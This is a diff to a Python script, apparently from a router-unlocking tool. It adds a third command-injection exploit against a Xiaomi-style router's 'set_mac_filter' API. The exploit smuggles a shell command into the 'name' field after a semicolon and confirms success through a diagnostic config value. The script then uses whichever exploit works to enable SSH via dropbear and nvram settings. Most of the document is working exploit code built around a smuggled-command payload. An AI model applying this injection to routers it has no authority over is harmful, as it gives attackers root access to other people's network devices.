|
|
|
@ -38,13 +38,34 @@ def exploit_2(cmd, api = 'API/xqsystem/start_binding'):
|
|
|
|
|
res = ''
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def exploit_3(cmd, api = 'API/xqsystem/set_mac_filter'):
|
|
|
|
|
# vuln/exploit author: ?????????
|
|
|
|
|
if '\n' in cmd:
|
|
|
|
|
raise ValueError('Incorrect shell command format')
|
|
|
|
|
options = { 'add': 0, 'del': 1 }
|
|
|
|
|
for action, option in options.items():
|
|
|
|
|
time.sleep(0.05)
|
|
|
|
|
time_ms = time.time_ns() // 1_000_000
|
|
|
|
|
name = f'xxx ; uci set diag.config.usb_read_thr={time_ms} ; uci commit diag ; ' + cmd
|
|
|
|
|
params = { 'mac': '00:00:00:00:00:33', 'name': name, 'option': option, 'wan': '' }
|
|
|
|
|
try:
|
|
|
|
|
res = gw.api_request(api, params, resp = 'text', timeout = 2)
|
|
|
|
|
except requests.exceptions.ReadTimeout:
|
|
|
|
|
res = ''
|
|
|
|
|
if not res or '"code":0' not in res:
|
|
|
|
|
return ''
|
|
|
|
|
diag = gw.get_diag_paras(timeout = 2)
|
|
|
|
|
if str(diag['usb_read_thr']) == str(time_ms):
|
|
|
|
|
return res # Ok
|
|
|
|
|
return ''
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# set default value for iperf_test_thr
|
|
|
|
|
gw.set_diag_iperf_test_thr(20)
|
|
|
|
|
|
|
|
|
|
vuln_test_num = 82000011
|
|
|
|
|
exec_cmd = None
|
|
|
|
|
exp_list = [ exploit_2, exploit_1 ]
|
|
|
|
|
exp_list = [ exploit_2, exploit_1, exploit_3 ]
|
|
|
|
|
for idx, exp_func in enumerate(exp_list):
|
|
|
|
|
exp_test_num = vuln_test_num + idx
|
|
|
|
|
res = exp_func(f"uci set diag.config.iperf_test_thr={exp_test_num} ; uci commit diag")
|
|
|
|
@ -60,7 +81,7 @@ for idx, exp_func in enumerate(exp_list):
|
|
|
|
|
gw.set_diag_iperf_test_thr(20)
|
|
|
|
|
|
|
|
|
|
if not exec_cmd:
|
|
|
|
|
raise ExploitNotWorked('Exploits "arn_switch/start_binding" not working!!!')
|
|
|
|
|
raise ExploitNotWorked('Exploits "arn_switch/start_binding/set_mac_filter" not working!!!')
|
|
|
|
|
|
|
|
|
|
if exec_cmd == exploit_1:
|
|
|
|
|
print('Exploit "arn_switch" detected!')
|
|
|
|
@ -68,6 +89,9 @@ if exec_cmd == exploit_1:
|
|
|
|
|
if exec_cmd == exploit_2:
|
|
|
|
|
print('Exploit "start_binding" detected!')
|
|
|
|
|
|
|
|
|
|
if exec_cmd == exploit_3:
|
|
|
|
|
print('Exploit "set_mac_filter" detected!')
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
exec_cmd(r"sed -i 's/release/XXXXXX/g' /etc/init.d/dropbear")
|
|
|
|
|
exec_cmd(r"nvram set ssh_en=1 ; nvram set boot_wait=on ; nvram set bootdelay=3 ; nvram commit")
|
|
|
|
|